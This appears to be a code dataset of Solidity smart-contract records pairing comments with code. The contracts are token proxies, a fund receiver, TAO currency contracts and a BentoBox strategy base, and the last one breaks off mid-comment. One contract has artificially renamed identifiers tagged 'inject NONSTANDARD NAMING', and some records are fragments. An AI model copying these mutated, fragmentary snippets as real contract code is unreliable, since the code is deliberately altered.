address public backendContract;
/**
* Constructor
*
*
*/
function DCAsset(address _backendContract) {
backendContract = _backendContract;
}
function standard() constant returns (bytes32 std) {
return DCAssetBackend(backendContract).standard();
}
function name() constant returns (bytes32 nm) {
return DCAssetBackend(backendContract).name();
}
function symbol() constant returns (bytes32 sym) {
return DCAssetBackend(backendContract).symbol();
}
function decimals() constant returns (uint8 precision) {
return DCAssetBackend(backendContract).decimals();
}
function allowance(address from, address to) constant returns (uint256 res) {
return DCAssetBackend(backendContract).allowance(from, to);
}
/* --------------- multisig admin methods --------------*/
/**
* @notice Sets the backend contract to `_backendContract`. Can only be switched by multisig.
*
* @param _backendContract Address of the underlying token contract.
*/
function setBackend(address _backendContract) multisig(sha3(msg.data)) {
backendContract = _backendContract;
}
/* --------------- main token methods --------------*/
/**
* @notice Returns the balance of `_address`.
*
* @param _address The address of the balance.
*/
function balanceOf(address _address) constant returns (uint256 balance) {
return DCAssetBackend(backendContract).balanceOf(_address);
}
/**
* @notice Returns the total supply of the token
*
*/
function totalSupply() constant returns (uint256 balance) {
return DCAssetBackend(backendContract).totalSupply();
}
/**
* @notice Transfer `_amount` to `_to`.
*
* @param _to Address that will receive.
* @param _amount Amount to be transferred.
*/
function transfer(address _to, uint256 _amount) returns (bool success) {
if (!DCAssetBackend(backendContract).transfer(msg.sender, _to, _amount)) throw;
Transfer(msg.sender, _to, _amount);
return true;
}
/**
* @notice Approve Approves spender `_spender` to transfer `_amount`.
*
* @param _spender Address that receives the cheque
* @param _amount Amount on the cheque
* @param _extraData Consequential contract to be executed by spender in same transcation.
* @return result of the method call
*/
function approveAndCall(address _spender, uint256 _amount, bytes _extraData) returns (bool success) {
if (!DCAssetBackend(backendContract).approveAndCall(msg.sender, _spender, _amount, _extraData)) throw;
Approval(msg.sender, _spender, _amount);
return true;
}
/**
* @notice Approve Approves spender `_spender` to transfer `_amount`.
*
* @param _spender Address that receives the cheque
* @param _amount Amount on the cheque
* @return result of the method call
*/
function approve(address _spender, uint256 _amount) returns (bool success) {
if (!DCAssetBackend(backendContract).approve(msg.sender, _spender, _amount)) throw;
Approval(msg.sender, _spender, _amount);
return true;
}
/**
* @notice Transfer `_amount` from `_from` to `_to`.
*
* @param _from Origin address
* @param _to Address that will receive
* @param _amount Amount to be transferred.
* @return result of the method call
*/
function transferFrom(address _from, address _to, uint256 _amount) returns (bool success) {
if (!DCAssetBackend(backendContract).transferFrom(msg.sender, _from, _to, _amount)) throw;
Transfer(_from, _to, _amount);
return true;
}
/**
* @notice Returns fee for transferral of `_amount` from `_from` to `_to`.
*
* @param _from Origin address
* @param _to Address that will receive
* @param _amount Amount to be transferred.
* @return height of the fee
*/
function feeFor(address _from, address _to, uint256 _amount) returns (uint256 amount) {
return DCAssetBackend(backendContract).feeFor(_from, _to, _amount);
}
/* --------------- to be called by backend --------------*/
function relayReceiveApproval(address _caller, address _spender, uint256 _amount, bytes _extraData) returns (bool success) {
assert(msg.sender == backendContract);
TokenRecipient spender = TokenRecipient(_spender);
spender.receiveApproval(_caller, _amount, this, _extraData);
return true;
}
}
|
* @notice Transfer `_amount` from `msg.sender.address()` to `_to`. @param _to Address that will receive. @param _amount Amount to be transferred./
|
function transfer(address _to, uint256 _amount) returns (bool success) {
assert(allowTransactions);
assert(!frozenAccount[msg.sender]);
assert(balanceOf[msg.sender] >= _amount);
assert(balanceOf[_to] + _amount >= balanceOf[_to]);
activateAccount(msg.sender);
activateAccount(_to);
balanceOf[msg.sender] -= _amount;
if (_to == address(this)) treasuryBalance += _amount;
else balanceOf[_to] += _amount;
Transfer(msg.sender, _to, _amount);
return true;
}
| 1,030,482
|
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./full_match/80001/0x5D934c670D2B97f2a391EDDf5ab127e4ECfaFd10/sources/contracts/DutchAuction/anft.sol
|
Auction memory auction = tokenIdToAuction[tokenId];
|
function cancelAuctionByAuctionId(uint256 _auctionId) public {
}
| 5,555,002
|
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// SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
import { Owned } from "@rari-capital/solmate/src/auth/Owned.sol";
import { ERC20 } from "@rari-capital/solmate/src/tokens/ERC20.sol";
import { ERC721 } from "@rari-capital/solmate/src/tokens/ERC721.sol";
/**
* @title RetroReceiver
* @notice RetroReceiver is a minimal contract for receiving funds, meant to be deployed at the
* same address on every chain that supports EIP-2470.
*/
contract RetroReceiver is Owned {
/**
* Emitted when ETH is received by this address.
*/
event ReceivedETH(address indexed from, uint256 amount);
/**
* Emitted when ETH is withdrawn from this address.
*/
event WithdrewETH(address indexed withdrawer, address indexed recipient, uint256 amount);
/**
* Emitted when ERC20 tokens are withdrawn from this address.
*/
event WithdrewERC20(
address indexed withdrawer,
address indexed recipient,
address indexed asset,
uint256 amount
);
/**
* Emitted when ERC721 tokens are withdrawn from this address.
*/
event WithdrewERC721(
address indexed withdrawer,
address indexed recipient,
address indexed asset,
uint256 id
);
/**
* @param _owner Address to initially own the contract.
*/
constructor(address _owner) Owned(_owner) {}
/**
* Make sure we can receive ETH.
*/
receive() external payable {
emit ReceivedETH(msg.sender, msg.value);
}
/**
* Withdraws full ETH balance to the recipient.
*
* @param _to Address to receive the ETH balance.
*/
function withdrawETH(address payable _to) public onlyOwner {
withdrawETH(_to, address(this).balance);
}
/**
* Withdraws partial ETH balance to the recipient.
*
* @param _to Address to receive the ETH balance.
* @param _amount Amount of ETH to withdraw.
*/
function withdrawETH(address payable _to, uint256 _amount) public onlyOwner {
_to.transfer(_amount);
emit WithdrewETH(msg.sender, _to, _amount);
}
/**
* Withdraws full ERC20 balance to the recipient.
*
* @param _asset ERC20 token to withdraw.
* @param _to Address to receive the ERC20 balance.
*/
function withdrawERC20(ERC20 _asset, address _to) public onlyOwner {
withdrawERC20(_asset, _to, _asset.balanceOf(address(this)));
}
/**
* Withdraws partial ERC20 balance to the recipient.
*
* @param _asset ERC20 token to withdraw.
* @param _to Address to receive the ERC20 balance.
* @param _amount Amount of ERC20 to withdraw.
*/
function withdrawERC20(
ERC20 _asset,
address _to,
uint256 _amount
) public onlyOwner {
_asset.transfer(_to, _amount);
emit WithdrewERC20(msg.sender, _to, address(_asset), _amount);
}
/**
* Withdraws ERC721 token to the recipient.
*
* @param _asset ERC721 token to withdraw.
* @param _to Address to receive the ERC721 token.
* @param _id Token ID of the ERC721 token to withdraw.
*/
function withdrawERC721(
ERC721 _asset,
address _to,
uint256 _id
) public onlyOwner {
_asset.transferFrom(address(this), _to, _id);
emit WithdrewERC721(msg.sender, _to, address(_asset), _id);
}
}
|
* @title RetroReceiver @notice RetroReceiver is a minimal contract for receiving funds, meant to be deployed at the same address on every chain that supports EIP-2470./
|
contract RetroReceiver is Owned {
event ReceivedETH(address indexed from, uint256 amount);
event WithdrewETH(address indexed withdrawer, address indexed recipient, uint256 amount);
event WithdrewERC20(
address indexed withdrawer,
address indexed recipient,
address indexed asset,
uint256 amount
);
event WithdrewERC721(
address indexed withdrawer,
address indexed recipient,
address indexed asset,
uint256 id
);
pragma solidity ^0.8.9;
import { Owned } from "@rari-capital/solmate/src/auth/Owned.sol";
import { ERC20 } from "@rari-capital/solmate/src/tokens/ERC20.sol";
import { ERC721 } from "@rari-capital/solmate/src/tokens/ERC721.sol";
constructor(address _owner) Owned(_owner) {}
receive() external payable {
emit ReceivedETH(msg.sender, msg.value);
}
function withdrawETH(address payable _to) public onlyOwner {
withdrawETH(_to, address(this).balance);
}
function withdrawETH(address payable _to, uint256 _amount) public onlyOwner {
_to.transfer(_amount);
emit WithdrewETH(msg.sender, _to, _amount);
}
function withdrawERC20(ERC20 _asset, address _to) public onlyOwner {
withdrawERC20(_asset, _to, _asset.balanceOf(address(this)));
}
function withdrawERC20(
ERC20 _asset,
address _to,
uint256 _amount
) public onlyOwner {
_asset.transfer(_to, _amount);
emit WithdrewERC20(msg.sender, _to, address(_asset), _amount);
}
function withdrawERC721(
ERC721 _asset,
address _to,
uint256 _id
) public onlyOwner {
_asset.transferFrom(address(this), _to, _id);
emit WithdrewERC721(msg.sender, _to, address(_asset), _id);
}
}
| 6,367,391
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pragma solidity >=0.5.4 <0.6.0;
interface tokenRecipient { function RECEIVEAPPROVAL172(address _from, uint256 _value, address _token, bytes calldata _extraData) external; } //inject NONSTANDARD NAMING
library SafeMath {
function MUL710(uint256 a, uint256 b) internal pure returns (uint256 c) { //inject NONSTANDARD NAMING
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function DIV595(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
function SUB853(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
assert(b <= a);
return a - b;
}
function ADD540(uint256 a, uint256 b) internal pure returns (uint256 c) { //inject NONSTANDARD NAMING
c = a + b;
assert(c >= a);
return c;
}
}
interface INameTAOPosition {
function SENDERISADVOCATE978(address _sender, address _id) external view returns (bool); //inject NONSTANDARD NAMING
function SENDERISLISTENER841(address _sender, address _id) external view returns (bool); //inject NONSTANDARD NAMING
function SENDERISSPEAKER648(address _sender, address _id) external view returns (bool); //inject NONSTANDARD NAMING
function SENDERISPOSITION99(address _sender, address _id) external view returns (bool); //inject NONSTANDARD NAMING
function GETADVOCATE521(address _id) external view returns (address); //inject NONSTANDARD NAMING
function NAMEISADVOCATE881(address _nameId, address _id) external view returns (bool); //inject NONSTANDARD NAMING
function NAMEISPOSITION327(address _nameId, address _id) external view returns (bool); //inject NONSTANDARD NAMING
function INITIALIZE405(address _id, address _advocateId, address _listenerId, address _speakerId) external returns (bool); //inject NONSTANDARD NAMING
function DETERMINEPOSITION456(address _sender, address _id) external view returns (uint256); //inject NONSTANDARD NAMING
}
contract TokenERC20 {
// Public variables of the token
string public name;
string public symbol;
uint8 public decimals = 18;
// 18 decimals is the strongly suggested default, avoid changing it
uint256 public totalSupply;
// This creates an array with all balances
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
// This generates a public event on the blockchain that will notify clients
event TRANSFER193(address indexed from, address indexed to, uint256 value); //inject NONSTANDARD NAMING
// This generates a public event on the blockchain that will notify clients
event APPROVAL454(address indexed _owner, address indexed _spender, uint256 _value); //inject NONSTANDARD NAMING
// This notifies clients about the amount burnt
event BURN994(address indexed from, uint256 value); //inject NONSTANDARD NAMING
constructor (uint256 initialSupply, string memory tokenName, string memory tokenSymbol) public {
totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount
balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens
name = tokenName; // Set the name for display purposes
symbol = tokenSymbol; // Set the symbol for display purposes
}
function _TRANSFER285(address _from, address _to, uint _value) internal { //inject NONSTANDARD NAMING
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != address(0));
// Check if the sender has enough
require(balanceOf[_from] >= _value);
// Check for overflows
require(balanceOf[_to] + _value > balanceOf[_to]);
// Save this for an assertion in the future
uint previousBalances = balanceOf[_from] + balanceOf[_to];
// Subtract from the sender
balanceOf[_from] -= _value;
// Add the same to the recipient
balanceOf[_to] += _value;
emit TRANSFER193(_from, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function TRANSFER874(address _to, uint256 _value) public returns (bool success) { //inject NONSTANDARD NAMING
_TRANSFER285(msg.sender, _to, _value);
return true;
}
function TRANSFERFROM282(address _from, address _to, uint256 _value) public returns (bool success) { //inject NONSTANDARD NAMING
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] -= _value;
_TRANSFER285(_from, _to, _value);
return true;
}
function APPROVE265(address _spender, uint256 _value) public returns (bool success) { //inject NONSTANDARD NAMING
allowance[msg.sender][_spender] = _value;
emit APPROVAL454(msg.sender, _spender, _value);
return true;
}
function APPROVEANDCALL88(address _spender, uint256 _value, bytes memory _extraData) public returns (bool success) { //inject NONSTANDARD NAMING
tokenRecipient spender = tokenRecipient(_spender);
if (APPROVE265(_spender, _value)) {
spender.RECEIVEAPPROVAL172(msg.sender, _value, address(this), _extraData);
return true;
}
}
function BURN239(uint256 _value) public returns (bool success) { //inject NONSTANDARD NAMING
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough
balanceOf[msg.sender] -= _value; // Subtract from the sender
totalSupply -= _value; // Updates totalSupply
emit BURN994(msg.sender, _value);
return true;
}
function BURNFROM882(address _from, uint256 _value) public returns (bool success) { //inject NONSTANDARD NAMING
require(balanceOf[_from] >= _value); // Check if the targeted balance is enough
require(_value <= allowance[_from][msg.sender]); // Check allowance
balanceOf[_from] -= _value; // Subtract from the targeted balance
allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance
totalSupply -= _value; // Update totalSupply
emit BURN994(_from, _value);
return true;
}
}
contract TAO {
using SafeMath for uint256;
address public vaultAddress;
string public name; // the name for this TAO
address public originId; // the ID of the Name that created this TAO. If Name, it's the eth address
// TAO's data
string public datHash;
string public database;
string public keyValue;
bytes32 public contentId;
uint8 public typeId;
constructor (string memory _name,
address _originId,
string memory _datHash,
string memory _database,
string memory _keyValue,
bytes32 _contentId,
address _vaultAddress
) public {
name = _name;
originId = _originId;
datHash = _datHash;
database = _database;
keyValue = _keyValue;
contentId = _contentId;
// Creating TAO
typeId = 0;
vaultAddress = _vaultAddress;
}
modifier ONLYVAULT404 { //inject NONSTANDARD NAMING
require (msg.sender == vaultAddress);
_;
}
function () external payable {
}
function TRANSFERETH144(address payable _recipient, uint256 _amount) public ONLYVAULT404 returns (bool) { //inject NONSTANDARD NAMING
_recipient.transfer(_amount);
return true;
}
function TRANSFERERC20563(address _erc20TokenAddress, address _recipient, uint256 _amount) public ONLYVAULT404 returns (bool) { //inject NONSTANDARD NAMING
TokenERC20 _erc20 = TokenERC20(_erc20TokenAddress);
_erc20.TRANSFER874(_recipient, _amount);
return true;
}
}
contract Name is TAO {
constructor (string memory _name, address _originId, string memory _datHash, string memory _database, string memory _keyValue, bytes32 _contentId, address _vaultAddress)
TAO (_name, _originId, _datHash, _database, _keyValue, _contentId, _vaultAddress) public {
// Creating Name
typeId = 1;
}
}
library AOLibrary {
using SafeMath for uint256;
uint256 constant private _multiplier_divisor322 = 10 ** 6; // 1000000 = 1 //inject NONSTANDARD NAMING
uint256 constant private _percentage_divisor262 = 10 ** 6; // 100% = 1000000 //inject NONSTANDARD NAMING
function ISTAO231(address _taoId) public view returns (bool) { //inject NONSTANDARD NAMING
return (_taoId != address(0) && bytes(TAO(address(uint160(_taoId))).name()).length > 0 && TAO(address(uint160(_taoId))).originId() != address(0) && TAO(address(uint160(_taoId))).typeId() == 0);
}
function ISNAME781(address _nameId) public view returns (bool) { //inject NONSTANDARD NAMING
return (_nameId != address(0) && bytes(TAO(address(uint160(_nameId))).name()).length > 0 && Name(address(uint160(_nameId))).originId() != address(0) && Name(address(uint160(_nameId))).typeId() == 1);
}
function ISVALIDERC20TOKENADDRESS312(address _tokenAddress) public view returns (bool) { //inject NONSTANDARD NAMING
if (_tokenAddress == address(0)) {
return false;
}
TokenERC20 _erc20 = TokenERC20(_tokenAddress);
return (_erc20.totalSupply() >= 0 && bytes(_erc20.name()).length > 0 && bytes(_erc20.symbol()).length > 0);
}
function ISTHEAO403(address _sender, address _theAO, address _nameTAOPositionAddress) public view returns (bool) { //inject NONSTANDARD NAMING
return (_sender == _theAO ||
(
(ISTAO231(_theAO) || ISNAME781(_theAO)) &&
_nameTAOPositionAddress != address(0) &&
INameTAOPosition(_nameTAOPositionAddress).SENDERISADVOCATE978(_sender, _theAO)
)
);
}
function PERCENTAGE_DIVISOR218() public pure returns (uint256) { //inject NONSTANDARD NAMING
return _percentage_divisor262;
}
function MULTIPLIER_DIVISOR371() public pure returns (uint256) { //inject NONSTANDARD NAMING
return _multiplier_divisor322;
}
function DEPLOYTAO162(string memory _name, //inject NONSTANDARD NAMING
address _originId,
string memory _datHash,
string memory _database,
string memory _keyValue,
bytes32 _contentId,
address _nameTAOVaultAddress
) public returns (TAO _tao) {
_tao = new TAO(_name, _originId, _datHash, _database, _keyValue, _contentId, _nameTAOVaultAddress);
}
function DEPLOYNAME486(string memory _name, //inject NONSTANDARD NAMING
address _originId,
string memory _datHash,
string memory _database,
string memory _keyValue,
bytes32 _contentId,
address _nameTAOVaultAddress
) public returns (Name _myName) {
_myName = new Name(_name, _originId, _datHash, _database, _keyValue, _contentId, _nameTAOVaultAddress);
}
function CALCULATEWEIGHTEDMULTIPLIER712(uint256 _currentWeightedMultiplier, uint256 _currentPrimordialBalance, uint256 _additionalWeightedMultiplier, uint256 _additionalPrimordialAmount) public pure returns (uint256) { //inject NONSTANDARD NAMING
if (_currentWeightedMultiplier > 0) {
uint256 _totalWeightedIons = (_currentWeightedMultiplier.MUL710(_currentPrimordialBalance)).ADD540(_additionalWeightedMultiplier.MUL710(_additionalPrimordialAmount));
uint256 _totalIons = _currentPrimordialBalance.ADD540(_additionalPrimordialAmount);
return _totalWeightedIons.DIV595(_totalIons);
} else {
return _additionalWeightedMultiplier;
}
}
function CALCULATEPRIMORDIALMULTIPLIER760(uint256 _purchaseAmount, uint256 _totalPrimordialMintable, uint256 _totalPrimordialMinted, uint256 _startingMultiplier, uint256 _endingMultiplier) public pure returns (uint256) { //inject NONSTANDARD NAMING
if (_purchaseAmount > 0 && _purchaseAmount <= _totalPrimordialMintable.SUB853(_totalPrimordialMinted)) {
uint256 temp = _totalPrimordialMinted.ADD540(_purchaseAmount.DIV595(2));
uint256 multiplier = (_multiplier_divisor322.SUB853(_multiplier_divisor322.MUL710(temp).DIV595(_totalPrimordialMintable))).MUL710(_startingMultiplier.SUB853(_endingMultiplier));
return multiplier.DIV595(_multiplier_divisor322);
} else {
return 0;
}
}
function CALCULATENETWORKBONUSPERCENTAGE146(uint256 _purchaseAmount, uint256 _totalPrimordialMintable, uint256 _totalPrimordialMinted, uint256 _startingMultiplier, uint256 _endingMultiplier) public pure returns (uint256) { //inject NONSTANDARD NAMING
if (_purchaseAmount > 0 && _purchaseAmount <= _totalPrimordialMintable.SUB853(_totalPrimordialMinted)) {
uint256 temp = _totalPrimordialMinted.ADD540(_purchaseAmount.DIV595(2));
uint256 bonusPercentage = (_percentage_divisor262.SUB853(_percentage_divisor262.MUL710(temp).DIV595(_totalPrimordialMintable))).MUL710(_startingMultiplier.SUB853(_endingMultiplier)).DIV595(_percentage_divisor262);
return bonusPercentage;
} else {
return 0;
}
}
function CALCULATENETWORKBONUSAMOUNT621(uint256 _purchaseAmount, uint256 _totalPrimordialMintable, uint256 _totalPrimordialMinted, uint256 _startingMultiplier, uint256 _endingMultiplier) public pure returns (uint256) { //inject NONSTANDARD NAMING
uint256 bonusPercentage = CALCULATENETWORKBONUSPERCENTAGE146(_purchaseAmount, _totalPrimordialMintable, _totalPrimordialMinted, _startingMultiplier, _endingMultiplier);
uint256 networkBonus = bonusPercentage.MUL710(_purchaseAmount).DIV595(_percentage_divisor262);
return networkBonus;
}
function CALCULATEMAXIMUMBURNAMOUNT319(uint256 _primordialBalance, uint256 _currentWeightedMultiplier, uint256 _maximumMultiplier) public pure returns (uint256) { //inject NONSTANDARD NAMING
return (_maximumMultiplier.MUL710(_primordialBalance).SUB853(_primordialBalance.MUL710(_currentWeightedMultiplier))).DIV595(_maximumMultiplier);
}
function CALCULATEMULTIPLIERAFTERBURN888(uint256 _primordialBalance, uint256 _currentWeightedMultiplier, uint256 _amountToBurn) public pure returns (uint256) { //inject NONSTANDARD NAMING
return _primordialBalance.MUL710(_currentWeightedMultiplier).DIV595(_primordialBalance.SUB853(_amountToBurn));
}
function CALCULATEMULTIPLIERAFTERCONVERSION91(uint256 _primordialBalance, uint256 _currentWeightedMultiplier, uint256 _amountToConvert) public pure returns (uint256) { //inject NONSTANDARD NAMING
return _primordialBalance.MUL710(_currentWeightedMultiplier).DIV595(_primordialBalance.ADD540(_amountToConvert));
}
function NUMDIGITS612(uint256 number) public pure returns (uint8) { //inject NONSTANDARD NAMING
uint8 digits = 0;
while(number != 0) {
number = number.DIV595(10);
digits++;
}
return digits;
}
}
contract TheAO {
address public theAO;
address public nameTAOPositionAddress;
// Check whether an address is whitelisted and granted access to transact
// on behalf of others
mapping (address => bool) public whitelist;
constructor() public {
theAO = msg.sender;
}
modifier INWHITELIST24() { //inject NONSTANDARD NAMING
require (whitelist[msg.sender] == true);
_;
}
function TRANSFEROWNERSHIP920(address _theAO) public { //inject NONSTANDARD NAMING
require (msg.sender == theAO);
require (_theAO != address(0));
theAO = _theAO;
}
function SETWHITELIST120(address _account, bool _whitelist) public { //inject NONSTANDARD NAMING
require (msg.sender == theAO);
require (_account != address(0));
whitelist[_account] = _whitelist;
}
}
contract TAOCurrency is TheAO {
using SafeMath for uint256;
// Public variables of the contract
string public name;
string public symbol;
uint8 public decimals;
// To differentiate denomination of TAO Currency
uint256 public powerOfTen;
uint256 public totalSupply;
// This creates an array with all balances
// address is the address of nameId, not the eth public address
mapping (address => uint256) public balanceOf;
// This generates a public event on the blockchain that will notify clients
// address is the address of TAO/Name Id, not eth public address
event TRANSFER193(address indexed from, address indexed to, uint256 value); //inject NONSTANDARD NAMING
// This notifies clients about the amount burnt
// address is the address of TAO/Name Id, not eth public address
event BURN994(address indexed from, uint256 value); //inject NONSTANDARD NAMING
constructor (string memory _name, string memory _symbol, address _nameTAOPositionAddress) public {
name = _name; // Set the name for display purposes
symbol = _symbol; // Set the symbol for display purposes
powerOfTen = 0;
decimals = 0;
SETNAMETAOPOSITIONADDRESS170(_nameTAOPositionAddress);
}
modifier ONLYTHEAO376 { //inject NONSTANDARD NAMING
require (AOLibrary.ISTHEAO403(msg.sender, theAO, nameTAOPositionAddress));
_;
}
modifier ISNAMEORTAO154(address _id) { //inject NONSTANDARD NAMING
require (AOLibrary.ISNAME781(_id) || AOLibrary.ISTAO231(_id));
_;
}
function TRANSFEROWNERSHIP920(address _theAO) public ONLYTHEAO376 { //inject NONSTANDARD NAMING
require (_theAO != address(0));
theAO = _theAO;
}
function SETWHITELIST120(address _account, bool _whitelist) public ONLYTHEAO376 { //inject NONSTANDARD NAMING
require (_account != address(0));
whitelist[_account] = _whitelist;
}
function SETNAMETAOPOSITIONADDRESS170(address _nameTAOPositionAddress) public ONLYTHEAO376 { //inject NONSTANDARD NAMING
require (_nameTAOPositionAddress != address(0));
nameTAOPositionAddress = _nameTAOPositionAddress;
}
function TRANSFERFROM282(address _from, address _to, uint256 _value) public INWHITELIST24 ISNAMEORTAO154(_from) ISNAMEORTAO154(_to) returns (bool) { //inject NONSTANDARD NAMING
_TRANSFER285(_from, _to, _value);
return true;
}
function MINT678(address target, uint256 mintedAmount) public INWHITELIST24 ISNAMEORTAO154(target) returns (bool) { //inject NONSTANDARD NAMING
_MINT887(target, mintedAmount);
return true;
}
function WHITELISTBURNFROM289(address _from, uint256 _value) public INWHITELIST24 ISNAMEORTAO154(_from) returns (bool success) { //inject NONSTANDARD NAMING
require(balanceOf[_from] >= _value); // Check if the targeted balance is enough
balanceOf[_from] = balanceOf[_from].SUB853(_value); // Subtract from the targeted balance
totalSupply = totalSupply.SUB853(_value); // Update totalSupply
emit BURN994(_from, _value);
return true;
}
function _TRANSFER285(address _from, address _to, uint256 _value) internal { //inject NONSTANDARD NAMING
require (_to != address(0)); // Prevent transfer to 0x0 address. Use burn() instead
require (balanceOf[_from] >= _value); // Check if the sender has enough
require (balanceOf[_to].ADD540(_value) >= balanceOf[_to]); // Check for overflows
uint256 previousBalances = balanceOf[_from].ADD540(balanceOf[_to]);
balanceOf[_from] = balanceOf[_from].SUB853(_value); // Subtract from the sender
balanceOf[_to] = balanceOf[_to].ADD540(_value); // Add the same to the recipient
emit TRANSFER193(_from, _to, _value);
assert(balanceOf[_from].ADD540(balanceOf[_to]) == previousBalances);
}
function _MINT887(address target, uint256 mintedAmount) internal { //inject NONSTANDARD NAMING
balanceOf[target] = balanceOf[target].ADD540(mintedAmount);
totalSupply = totalSupply.ADD540(mintedAmount);
emit TRANSFER193(address(0), address(this), mintedAmount);
emit TRANSFER193(address(this), target, mintedAmount);
}
}
contract PathosGiga is TAOCurrency {
constructor(string memory _name, string memory _symbol, address _nameTAOPositionAddress)
TAOCurrency(_name, _symbol, _nameTAOPositionAddress) public {
powerOfTen = 9;
decimals = 9;
}
}
|
1000000 = 1 inject NONSTANDARD NAMING
|
uint256 constant private _multiplier_divisor322 = 10 ** 6;
| 13,026,370
|
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./full_match/3/0xbEA8640d3DFB6003150e345F8d91F22Eb6405cE9/sources/browser/Contracts/RoyaleLPVariables.sol
|
storage realated to loan contract
|
address public loanContract;
| 14,214,197
|
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// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity >=0.8;
import "./interfaces/IStrategy.sol";
import "./interfaces/IUniswapV2Pair.sol";
import "./interfaces/IBentoBoxMinimal.sol";
import "./libraries/UniswapV2Library.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
/// @title Abstrat contract to simplify BentoBox strategy development.
/// @dev Extend the contract and implement _skim, _harvest, _withdraw, _exit and _harvestRewards methods.
/// @dev Ownership should be transfered to the Sushi ops multisig.
abstract contract BaseStrategy is IStrategy, Ownable {
using SafeERC20 for IERC20;
/// @dev invested token.
IERC20 public immutable strategyToken;
/// @dev BentoBox address.
IBentoBoxMinimal private immutable bentoBox;
/// @dev Legacy Sushiswap AMM factory address.
address private immutable factory;
/// @dev Path are for the original sushiswap AMM.
/// @dev Set variable visibility to private since we don't want the child contract to modify it.
address[][] private _allowedSwapPaths = new address[][](0);
/// @dev After bentobox 'exits' the strategy harvest, skim and withdraw functions can no loner be called.
bool public exited;
/// @dev Slippage protection when calling harvest.
uint256 public maxBentoBoxBalance;
/// @dev EOAs that can execute safeHarvest.
mapping(address => bool) public strategyExecutors;
event LogSetStrategyExecutor(address indexed executor, bool allowed);
event LogSetAllowedPath(uint256 indexed pathId, bool allowed);
error StrategyExited();
error StrategyNotExited();
error OnlyBentoBox();
error OnlyExecutor();
error NoFactory();
error SlippageProtection();
struct ConstructorParams {
IERC20 strategyToken;
IBentoBoxMinimal bentoBox;
address strategyExecutor;
address factory;
address[] allowedSwapPath;
}
/** @param params a ConstructorParam struct whith the following fields:
strategyToken - Address of the underlying token the strategy invests.
bentoBox - BentoBox address.
factory - legacy SushiSwap factory.
strategyExecutor - an EOA that will execute the safeHarvest function.
allowedSwapPath - Path the contract can use when swapping a reward token to the strategy token.
@dev factory can be set to address(0) if we don't expect rewards we would need to swap.
@dev allowedPaths can be set to [] if we don't expect rewards we would need to swap. */
constructor(ConstructorParams memory params) {
strategyToken = params.strategyToken;
bentoBox = params.bentoBox;
factory = params.factory;
if (params.allowedSwapPath.length != 0) {
_allowedSwapPaths.push(params.allowedSwapPath);
emit LogSetAllowedPath(0, true);
}
if (params.strategyExecutor != address(0)) {
strategyExecutors[params.strategyExecutor] = true;
emit LogSetStrategyExecutor(params.strategyExecutor, true);
}
}
//** Strategy implementation (override the following functions) */
/// @notice Invests the underlying asset.
/// @param amount The amount of tokens to invest.
/// @dev Assume the contract's balance is greater than the amount
function _skim(uint256 amount) internal virtual;
/// @notice Harvest any profits made and transfer them to address(this) or report a loss
/// @param balance The amount of tokens that have been invested.
/// @return amountAdded The delta (+profit or -loss) that occured in contrast to `balance`.
/// @dev amountAdded can be left at 0 when reporting profits (gas savings).
/// amountAdded should not reflect any rewards or tokens the strategy received.
/// Calcualte the amount added based on what the current deposit is worth.
/// (The Base Strategy harvest function accounts for rewards).
function _harvest(uint256 balance) internal virtual returns (int256 amountAdded);
/// @dev Withdraw the requested amount of the underlying tokens to address(this).
/// @param amount The requested amount we want to withdraw.
function _withdraw(uint256 amount) internal virtual;
/// @notice Withdraw the maximum available amount of the invested assets to address(this).
/// @dev This shouldn't revert (use try catch).
function _exit() internal virtual;
/// @notice Claim any rewards reward tokens and optionally sell them for the underlying token.
/// @dev Doesn't need to be implemented if we don't expect any rewards.
function _harvestRewards() internal virtual {}
//** End strategy implementation */
modifier isActive() {
if (exited) {
revert StrategyExited();
}
_;
}
modifier onlyBentoBox() {
if (msg.sender != address(bentoBox)) {
revert OnlyBentoBox();
}
_;
}
modifier onlyExecutor() {
if (!strategyExecutors[msg.sender]) {
revert OnlyExecutor();
}
_;
}
function setStrategyExecutor(address executor, bool value) external onlyOwner {
strategyExecutors[executor] = value;
emit LogSetStrategyExecutor(executor, value);
}
/// @inheritdoc IStrategy
function skim(uint256 amount) external override {
_skim(amount);
}
/// @notice Harvest profits while preventing a sandwich attack exploit.
/// @param maxBalance The maximum balance of the underlying token that is allowed to be in BentoBox.
/// @param rebalance Whether BentoBox should rebalance the strategy assets to acheive it's target allocation.
/// @param maxChangeAmount When rebalancing - the maximum amount that will be deposited to or withdrawn from a strategy to BentoBox.
/// @param harvestRewards If we want to claim any accrued reward tokens
/// @dev maxBalance can be set to 0 to keep the previous value.
/// @dev maxChangeAmount can be set to 0 to allow for full rebalancing.
function safeHarvest(
uint256 maxBalance,
bool rebalance,
uint256 maxChangeAmount,
bool harvestRewards
) external onlyExecutor {
if (harvestRewards) {
_harvestRewards();
}
if (maxBalance > 0) {
maxBentoBoxBalance = maxBalance;
}
bentoBox.harvest(address(strategyToken), rebalance, maxChangeAmount);
}
/** @inheritdoc IStrategy
@dev Only BentoBox can call harvest on this strategy.
@dev Ensures that (1) the caller was this contract (called through the safeHarvest function)
